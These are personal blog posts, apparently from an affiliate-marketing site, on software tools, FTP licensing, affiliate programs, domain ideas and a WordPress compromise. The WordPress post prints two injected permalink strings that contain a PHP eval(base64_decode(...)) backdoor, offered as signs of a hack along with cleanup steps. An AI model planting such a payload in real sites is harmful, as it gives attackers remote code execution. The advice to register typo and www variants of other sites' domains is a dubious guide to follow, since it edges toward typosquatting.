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Have you ever wonder how professional website sellers are able to capture a long webpage and use that image in the sale ad or auction listing? And by long, I mean the webpage extends below the “fold.”
After doing a bit of research, I came across a free Firefox add-on called Picnik. It allows you to right-click on any webpage and capture the full web page as an image, no matter how long the webpage may be.
Check out what I am able to capture with this utility tool for one of my long sales-letter page (from http://arbitragesecrets.com/craigslistsecrets/) with a couple clicks of my mouse:
Pretty cool, huh? Normally I would capture one “fold” at a time, and then use an image editing software like Adobe Photoshop to piece the different folds together - what a pain in the neck!
Ok, so without further adieu, you can download Picnik add-on at:
https://addons.mozilla.org/en-US/firefox/addon/4889
Another really cool and useful image editing software that I use is called IrfanView - completely free.
I use it for quickly resizing, and cropping images.
It’s also great for batch resizing jobs. Check it out: http://www.irfanview.com/
So August 2008 SmartFTP decided to charge for their FTP client software. I purchased the 1-yr license thinking it will be a one-time payment - I can careless if I don’t get upgrades to their software after one-year because their software is already solid.
But, just yesterday when I tried to open SmartFTP, I got hit with this message:
I guess I was mistaken! SmartFTP is going to make me pay for their “maintenance plan” - sorry, but that just annoys me. What if I don’t want to be on your maintenance plan???!!!
It’s like saying, “Hey, you have been driving your car for 3 months now, and you have past your warranty - you are going to have to pay an extended warranty plan in order to drive your car again.”
@#$@#(*(@_#%** Okay, I’m over it, now going over to their renewal page to get a 3-yr plan for $35.95. For that amount of money it sure saves me a lot of trouble of having to establish my “favorites” again on another free FTP program.
Speaking of free FTP client software that’s out there, I have evaluated FileZilla, FireFTP, and CoreFTP - none of them can be compared to SmartFTP for its native Windows-Explorer like interface, the easy of drag and drop uploading, and simply a smart FTP program.
Just want to write up a quick post on the latest Wordpress MySQL Injection that has seemed to attack many of the Wordpress blogs - including several of my own.
I found out about this problem last night when an email came to me from GetResponse notifying that my blog announcement feeds are no longer working.
I quickly went over to my blogs and noticed my permalink structure has been changed.
Diagnosis:
Put your mouse cursor over a permalink (or over a post title) and see if it has the following string appearing in the URL:
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
If so, you have been hacked!
How to Fix:
Login to your Wordpress dashboard and go to Settings -> Permalinks
Change your permalink structure to what you had before.
Now from a SEO stand point of view I had to absolutely make sure that my permalink structure was the same as before, and if you don’t remember what your permalink structure was for your site, simple got to Google and type in:
site:yoursite.com
Then look at one of your blog posts and see how the permalink URL is structured.
Then you want to remove a hidden admin user to your blog. You will most likely not be able to see who this is if you go to Users tab:
As you can see there are 2 Administrators, but I only see myself in the list.
To remove the uninvited guest you are going to have to login to your MySQL (cPanel -> MySQL -> phpMyAdmin) and go to your wp_users table, and sort the ID column to see the latest registered user:
You will notice a user without an email address. To further verify that this user has Administrator privilege, go to wp_usermeta table and verify that this user_id has wp_user_level of 10:
Prevention:
I’m still keeping an eye out for future attacks. The same attacked happend to one of my Wordpress blogs that has the latest 2.8.4 version on it so I don’t think upgrading to latest version will help prevent this attack from happening to you (but highly recommended to run latest Wordpress version anyway).
This just out - John Reese’s Opportunity.com (great domain name I might add!) - a membership website designed to teach people how to make money with affiliate marketing the “right” way.
Here is what it says from the website:
Most marketers make affiliate marketing far too difficult than it really needs to be. Making money from affiliate programs is easy if you know some proven fundamentals and how to automate them to ‘work’ for you.
If you’re serious about growing your income online then you need to know how to make maximum money by promoting affiliate programs.
If you want to generate affiliate commissions on auto-pilot then take a few minutes to watch my quick training video where I show you how to create your own moneymaking ‘Affiliate Commission Engine’ by entering your email address in the field to the right…
I’ve always been a big preacher on passive income so I thought this may be fitting for my readers who want to get their hands wet with generating “affiliate income on auto-pilot by setting up a simple (yet powerful) ‘affiliate commission engine‘”
If you haven’t heard, Alexa has made available a list of top 1 million sites for download:
http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
This list is updated daily and is a valuable resource if you know how to take advantage of it. Just visit alexa.com and the download link should be on the left-hand sidebar.
For pay-per-click affiliate marketers, I would imagine you can go through each site on the list, see if they have an affiliate program, and for ones that do, register the www[domain name].com version of the site (of course, watch out for trademark infringement - perform a search first)
Then you could bid on PPC that domain name as the keyword and direct the user back to the “real” site with your affiliate link. This technique is explained better than my own words in the Arbitrage Conspiracy report (download it free here) - if you are not into PPC, get it anyway because it will open your eyes to a $50k to $100k PROFIT per DAY business on the internet… Yes, you read that right, per DAY!
The top 1 million sites list is also an excellent opportunity for domainers to register typo’s (within legal parameters). By the way, if you want to get started in the domaining business, make sure you subscribe to Domaining.com’s free newsletter.
If you have a product or server that you want to sell, use the list to find out if any of these sites have a target market audience that will buy from you and strike up a private advertising deal with them (by going direct you cut out the middleman/broker).
I have 2 questions for you:
1. What other good ideas can you think of using the top 1 million sites list?
2. What is the motivation behind Alex offering this list?
Investing your money correctly is part of the success formula in building wealth and passive income for the rest of your life.
A while ago I took interest in becoming a financial advisor and one of the selling tools is recommending prospective clients to read “Missed Fortune 101″ by Douglas R. Andrew. While there are many good reviews, there are also many critics who thought the author is misleading the general public, even fooled financial advisors by his “fuzzy” math and taking chunks of tax codes.
If you have read the book, or have started reading it, I’d like to know your thoughts. Good or bad, please post your thoughts in the comment box below.
If you are new to the book and would like to own it, I have 2 used copies (in good condition) that I’m prepared to give away to my blog readers (currently sold on Amazon for $16 and change). Here is what you will need to do:
1. Subscribe to my blog by filling in your name/email to the box on the right upper sidebar.
2. Read another post on my blog, choose one you like the most and write about it on your blog, online forum, or your myspace/facebook/friendster page. Then submit a comment to to this post with the URL where I can see what you did.
3. I will pick 2 lucky winners and mail a copy of the book free of charge to winners - I’ll even pay shipping. Honestly I do not know how much interest this will generate but I will tentatively select a winner on 10/31, Halloween.
Please note that I’m not endorsing the book nor the author. I’m also not selling you any financial vehicles or investments - I just have 2 extra copies that I’d like to give away.
A good stream of passive income to add to your portfolio is user-generated content websites that I talked about In my previous post. When set up properly, they can be easy to run, and profitable without much work on your part.
Today I want to share with you a way to come up with ideas to run your own user-generated content website. When you think of user-generated content websites, think of online community. Is there an obscure group of people that you know who are under-served? A particular interest or hobby that you or someone you know may have? A particular subject matter that you or someone you know are passionate about?
Notice that I didn’t ask just about you, but also someone you may know, because you are going to set up a website to serve a certain group of people, of which you may not have any knowledge or interest in what they do.
Still have no idea? Let’s pull up my favorite free keyword research tool Wordtracker and search for “forum.” Forums are great for an online community type of website and a great tool to bring together a group of people who share the same interest.
Now work down the list (I prefer to go from bottom to top) and take note of the most obscure forum niches. Also make sure that it has good search volume and low competition number (click on the bar graph next to each keyword to see this information):
“knife forums” will get you ~73 visitors per day (If you can get your website rank #1 in Google for that keyword), and has only 19,200 webpages out there competing against you if you were to set up a site for knife forums. If you have never done any SEO, 19,200 competing webpages may sound like a whole lot, but it really isn’t, if you optimize both on-page and off-page factors.
So, you could set up a forum that talks about knife and bring all knife enthusiasts to your website. If you Google “knife forums” then you will see that there is already a knife forum website (knifeforums.com) and it’s ranking #1. Ok, we can either choose to compete, or narrow it down even further (maybe set up a knife forum for a very specific type of knife, like “rambo knife” <- do a keyword research on “knife“). Sure, we are eating a very small crumb of the whole bread, but eventually we can eat the whole bread this way. Once you set up a forum for a specific type of knife, you can expand your forum to a second type of knife and leverage off the existing forum members you already have captured.
Online forum is just one example of user-generated content website that you can set up and run. You can also set up free classified websites that allow people to exchange/buy & sell certain type of goods (ie. video games). Are there sites like that out there already? Sure there is! But using the niche-down principal, you have just suddenly gain competitiveness in the market.
So, start thinking what type of service you can provide to people - people who are in particular interest groups (religion, politics, weight-loss, make money). A good to go about this is to go to social networking websites such as myspace, facebook, and browse through the groups - that should give you plenty of ideas to spin off and do keyword research on.
Once you have determined the site that you want to set up, go into your hosting’s cPanel and look for the Fantastisco icon which will give you a plethora of scripts that you can install and have an instant website set up for you (forums, blogs). Hotscripts.com also gives you a variety of free scripts that you can run your website off (classified ads script).
Have fun!
Got an email today from HomeClick.com’s affiliate program announcing that they are leaving CJ to another affiliate program management:
Dear Homeclick.com Affiliates –
We would like to inform you that a decision has been made and HDPI has decided to move the Homeclick.com affiliate program from Commission Junction to Performics.
All of your Homeclick.com links will no longer be active, and no commissions will be paid on any clicks after June 6th, 2008.…
Well, we are all too familiar with the recent announcement of eBay leaving CJ and moving to its own affiliate platform (Good for them!).
When I got that email from eBay, I was devastated! I have so many web properties out there I don’t even know where to begin to look for those links! Let alone the web properties, what about those free PDF reports that I have written that are just floating out there? How the heck would I be able to update those links?
Luckily I thought ahead and used URL forwarding AND luckily I didn’t use TinyURL.com! In fact, I got a TinyURL clone script written so that I have full control of going into the database and chang the destination URL for the shortened URLs I made in the past.
So, webmasters, affiliate marketers listen up, DO NOT rely on TinyURL or any other URL shortening/direction service out there. Have your own solution, just like eBay is doing its own in-house affiliate management.
Here is a good ????????TinyURL clone script that’s free-of-charge. Enjoy!
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